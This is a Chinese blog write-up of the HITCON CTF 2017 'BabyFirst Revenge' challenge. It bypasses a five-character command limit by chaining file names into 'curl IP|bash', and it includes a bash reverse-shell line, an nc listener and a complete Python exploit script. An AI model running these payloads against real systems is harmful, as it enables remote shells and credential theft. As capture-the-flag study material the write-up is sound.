命令执行长度限制 - 反弹shell(HITCONCTF 2017 - BabyFirst Revenge)

代码如下

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

前提知识:

通过shell命令 >a 来创建一个新的空文件
ls>a 将当前目录下的文件(目录)写进a文件,ls>>a 是向a中追加内容
shell中'\'可以连接语句,组成完整的命令

ls -t>a 以时间顺序(时间近的排序靠前)排序文件(目录),并写入a中

构造shell(echo 1)失败

将ls换成dir就没有换行的显示了,但是命令还是无法执行

经验证不是命名空格的问题,是shell中不存在换行符的问题,换成ls命令也一样

 

修正:

 

补充:

在shell中输入*号,会将目录第一个文件当做命令符,后面的文件当做参数
例:等同于命令id root

curl命令的分隔

需要发现的是,不符合shell语法的字符并不会截断shell命令的执行,比如下面的a

剩下来我们只需把shell文件放到自己的服务器上,利用curl命令解析并存入本地的文件,最后执行获得权限

 

反弹shell

以bash shell为例,写入服务器的index.php网页

bash -i >& /dev/tcp/81.68.177.230/12345 0>&1

题目所在主机通过

curl 81.68.177.230|bash

来得到shell,之后追加写入本地文件执行

话是这么说,但是直接把shell语句写入php中,会出现解析错误,当然也可能是我配置了https证书不认可,无法建立连接的问题

网上另一种方法是把shell放进txt文件中,且重新用docker做个apache环境

curl ip/shell.txt|bash

但是注意'/'在linux中是个特殊的符号,不能作为文件名存在,所以只能连在一起用,不能断开

最后还是乖乖重新配个环境试试

 

首先公网主机监听指定端口,然后执行bash命令向公网指定端口发送连接请求

监听:

nc -lvnp 12345

反弹shell成功(用本地kali尝试的)(这里演示时已经停止监听了,所以拒绝连接)

 

接下来只要(题目所在主机)执行shell就行了(下面内容因ip而异)

#generate `ls -t>g` to file "_"
http://host/?cmd=>ls\ http://host/?cmd=ls>_
此时_文件中有: ls\
http://host/?cmd=>\ \ http://host/?cmd=>-t\ http://host/?cmd=>\>g http://host/?cmd=ls>>_
追加了内容后有:
ls\
\ \
-t\
\>g
#generate `curl 81.68.177.230|bash` to file "g" http://host/?cmd=>sh http://host/?cmd=>ba\ http://host/?cmd=>\|\ http://host/?cmd=>30\ http://host/?cmd=>2\ http://host/?cmd=>7.\ http://host/?cmd=>17\ http://host/?cmd=>8.\ http://host/?cmd=>6\ http://host/?cmd=>1.\ http://host/?cmd=>8\ http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=>sh _
向g中追加curl命令
#got shell
http://host/?cmd=sh g

参考的大佬脚本:

import requests
from time import sleep
from urllib.parse import quote


payload = [
    # generate `ls -t>g` file
    '>ls\\',
    'ls>_',
    '>\ \\',
    '>-t\\',
    '>\>g',
    'ls>>_',

    # generate `curl orange.tw.tw|python`
    # generate `curl 81.68.177.230:8000/shell.txt|bash`
    '>sh\ ',
    '>ba\\',
    '>\|\\',
    '>00\\',
    '>80\\',
    '>\:\\',
    '>30\\',
    '>2\\',
    '>7.\\',
    '>17\\',
    '>8.\\',
    '>6\\',
    '>1.\\',
    '>8\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',

    # exec
    'sh _',
    'sh g',
]



r = requests.get('http://www.youkilearning.top:8028/?reset=1')
for i in payload:
    assert len(i) <= 5
    r = requests.get('http://www.youkilearning.top:8028/?cmd=' + quote(i))
    print(i)
    sleep(0.2)

反弹得到shell后,在/home目录下找到数据库登陆用户名和密码

 

这bash shell连数据库时用的就挺难受的,登陆时-u和-p不能有空格,只能在命令行输入密码查看

经常卡住要exit,重新登陆数据库才能继续

得到flag

 

参考:https://zoresmile.cn/linux/2020/04/927.html

参考:https://blog.csdn.net/u011377996/article/details/82464383

参考官方WP:https://blog.csdn.net/bajinsheng/article/details/78703249

posted @ 2021-01-30 15:00  ch0bits  阅读(1198)  评论(0编辑  收藏  举报